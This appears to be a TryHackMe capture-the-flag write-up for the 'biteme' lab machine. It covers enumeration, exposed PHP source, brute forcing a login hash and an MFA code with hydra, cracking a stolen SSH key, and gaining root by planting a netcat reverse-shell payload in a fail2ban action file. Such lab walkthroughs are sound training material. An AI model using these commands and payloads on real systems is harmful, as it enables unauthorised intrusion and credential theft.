THM Writeup – biteme

THM Writeup – biteme

biteme

Stay out of my server!

Room: biteme

Difficulty: Medium

Operating System: Linux

Author: demoteaching and fire015

Enumeration

Add IP address to your hosts file:

echo '10.10.254.182    biteme.thm' >> /etc/hosts

Scan the target machine – find open ports first:

nmap -n -Pn -sS -p- --open -min-rate 5000 -vvv biteme.thm

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
Get more details about open ports:

nmap -T4 -A -p 22,80 biteme.thm

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 89:ec:67:1a:85:87:c6:f6:64:ad:a7:d1:9e:3a:11:94 (RSA)
|   256 7f:6b:3c:f8:21:50:d9:8b:52:04:34:a5:4d:03:3a:26 (ECDSA)
|_  256 c4:5b:e5:26:94:06:ee:76:21:75:27:bc:cd:ba:af:cc (EdDSA)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

We have SSH (port 22) and HTTP (port 80) open.

Directory bruteforce the web application:

gobuster dir -u http://biteme.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt

===============================================================
/index.html (Status: 200)
/console (Status: 301)
/server-status (Status: 403)
===============================================================

While Gobuster scan was running, I checked web app root (http://biteme.thm/), viewed the page source – found nothing of interest.

Browse to http://biteme.thm/console/

biteme console sign in page

We have a login window with captcha here.

By viewing the page source we found an interesting JavaScript function:

function handleSubmit() {
        eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.1(\'2\').3=\'4\';5.6(\'@7 8 9 a b c d e f g h i... j\');',20,20,'document|getElementById|clicked|value|yes|console|log|fred|I|turned|on|php|file|syntax|highlighting|for|you|to|review|jason'.split('|'),0,{}))
        return true;
      }

The message was: “fred, i turned on php file syntax highlighting for you to review”

I had no idea what does that mean, so I search on google:

php highlighting search results

I found out that highlight_file and highlight_string are fuctions that could be used to render PHP files with syntax highlighting. Many servers are configured to automatically highlight files with a phps extension:

highlight_file function

More enumeration

So, I directory bruteforced the web application again, this time with phps extension and path /console:

gobuster dir -u http://biteme.thm/console -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x phps

===============================================================
/index.phps (Status: 200)
/css (Status: 301)
/config.phps (Status: 200)
/functions.phps (Status: 200)
===============================================================

Check index.phps:

index.phps

Username and password are validated and if they are valid user is redirected to mfa.php.

Check config.phps:

config.phps

Awesome, we have username

Check functions.phps:

functions.phps

The LOGIN_USER we found earlier we have to HEX decode – use CyberChef:

CyberChef login user decode

The password provided by the user is hashed with md5 function and the password is considered valid only if the hash string ends with 001.

I wrote a small python script to generate possible password:

#!/usr/bin/python3

import hashlib

for x in range(100000):
  to_hash = str(x)
  result = hashlib.md5(to_hash.encode())
  md5hash = result.hexdigest()
  last_3_chars = md5hash[-3:]
  if (last_3_chars == "001"):
    print("Password is:", x)
    break

Go to http://biteme.thm/console and log in with the revealed credentials:

mfa code

We are redirected to /mfa.php – the site wants us to enter 4 digit code.

By viewing the page source we found JavaScript function with hidden message again:

function handleSubmit() {
        eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0.1(\'@2 3 4 5 6 7 8 9 a b c, d e f g h... i\');',19,19,'console|log|fred|we|need|to|put|some|brute|force|protection|on|here|remind|me|in|the|morning|jason'.split('|'),0,{}));
        return true;
      }

The message was: “fred, we need to put some brute force protection on here, remind me in the morning, jason”

Ok, it looks like we can brute force it, so first use this small python script to generate 4 digit codes list:

#!/usr/bin/python3

f = open('pins.txt', 'w')
f.write('0000')
f.write('\n')

for x in range(1000, 9999):
  f.write(str(x))
  f.write('\n')

Make the script executable and execute it:

chmod +x genpins.py 
./genpins.py

Now we need to find out what is the name of a parameter that is used to send the code – open developer console, go to Network, enter a code and click continue:

developer console

Use hydra to find the correct code:

hydra -l admin -P pins.txt biteme.thm http-post-form "/console/mfa.php:code=^PASS^:Incorrect code:H=Cookie: PHPSESSID=6eg7c7c14gt4u1i866f3dp6r2r; user=jason_test_account; pwd=5265" -V -t 4 -f

[80][http-post-form] host: biteme.thm   login: admin   password: [REDACTED]

Note: The code is not always the same – everytime the machine is restarted the correct code changes

User flag

Enter the code we revealed – we are redirected to http://biteme.thm/console/dashboard.php:

biteme dashboard

Let’s try File viewer to view /etc/passwd file:

file viewer passwd content

As we can see, we have 2 normal users: jason and fred

Now check jason’s home directory /home/jason – use File browser this time:

file browser jason's home directory

We found user flag, try to read it with File viewer – /home/jason/user.txt:

file viewer user.txt

Root flag

Also, there is an interesting hidden directory .ssh in the jason’s home directory, check it out – /home/jason/.ssh:

file browser .ssh directory

Bingo, it looks like we found jason’s private key, read it – /home/jason/.ssh/id_rsa:

file viewer jason's private key

Jason’s private key is encrypted, nvm we’ll try to crack it – save it to a file named e.g. jason and make it crackable/readable by john:

/opt/john/ssh2john.py jason > hash

Crack the hash with john:

john -w:/usr/share/wordlists/rockyou.txt hash

[REDACTED]         (jason)

Change private key’s permissions and login via SSH:

chmod 600 jason
ssh jason@biteme.thm -i jason

See what jason can do with sudo:

sudo -l

User jason may run the following commands on biteme:
    (ALL : ALL) ALL
    (fred) NOPASSWD: ALL

Jason can run ALL as root, but we need his password that we don’t have. Also he can run ALL as Fred without password.

Switch to user fred:

sudo -u fred -i

See what Fred can do with sudo:

$ sudo -l

User fred may run the following commands on biteme:
    (root) NOPASSWD: /bin/systemctl restart fail2ban

Find fail2ban service and check it’s permissions:

$ find / -type f -iname 'fail2ban' 2>/dev/null

/etc/monit/monitrc.d/fail2ban
/etc/default/fail2ban
/etc/bash_completion.d/fail2ban
/etc/init.d/fail2ban
/etc/logrotate.d/fail2ban

$ cd /etc/init.d/
$ ls -la fail2ban

-rwxr-xr-x 1 root root 6712 Apr  4  2018 fail2ban

It is owned by root and for us only readable – hm, how to exploit this?

Let’s try to find all the files owned by fred user – we might be lucky 🙂

$ find / -type f -user fred 2>/dev/null

...
/proc/1804/timers
/proc/1804/timerslack_ns
/proc/1804/patch_state
/etc/fail2ban/action.d/iptables-multiport.conf
/home/fred/.bash_logout
/home/fred/.profile
/home/fred/.bashrc

I think we have just found an interesting file owned by our user – /etc/fail2ban/action.d/iptables-multiport.conf

Open the file and as actionban put this payload (don’t forget to modify IP and Port):

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.25.146 4242 >/tmp/f

Like this:

actioncheck

Open new terminal window and setup netcat listener:

nc -lnvp 4242

Go back to terminal with target machine shell and restart the fail2ban service:

sudo /bin/systemctl restart fail2ban

Open another terminal on your attacking machine and try to login via SSH with nonsense password (you might have to do this few times):

root@ip-10-10-25-146:~# ssh fred@biteme.thm
fred@biteme.thm's password: 
Permission denied, please try again.
fred@biteme.thm's password: 
Permission denied, please try again.
fred@biteme.thm's password: 
fred@biteme.thm: Permission denied (publickey,password).
root@ip-10-10-25-146:~# ssh fred@biteme.thm
fred@biteme.thm's password: 
Permission denied, please try again.
fred@biteme.thm's password: 
Permission denied, please try again.
fred@biteme.thm's password: 
fred@biteme.thm: Permission denied (publickey,password).
root@ip-10-10-25-146:~# ssh fred@biteme.thm
fred@biteme.thm's password: 
Permission denied, please try again.
fred@biteme.thm's password: 
Permission denied, please try again.
fred@biteme.thm's password:

And we got a reverse shell as root user:

reverse shell

Read the root flag:

# cat /root/root.txt
THM{[REDACTED]}

Do you like this writeup? Check out other THM Writeups.

Comments are closed.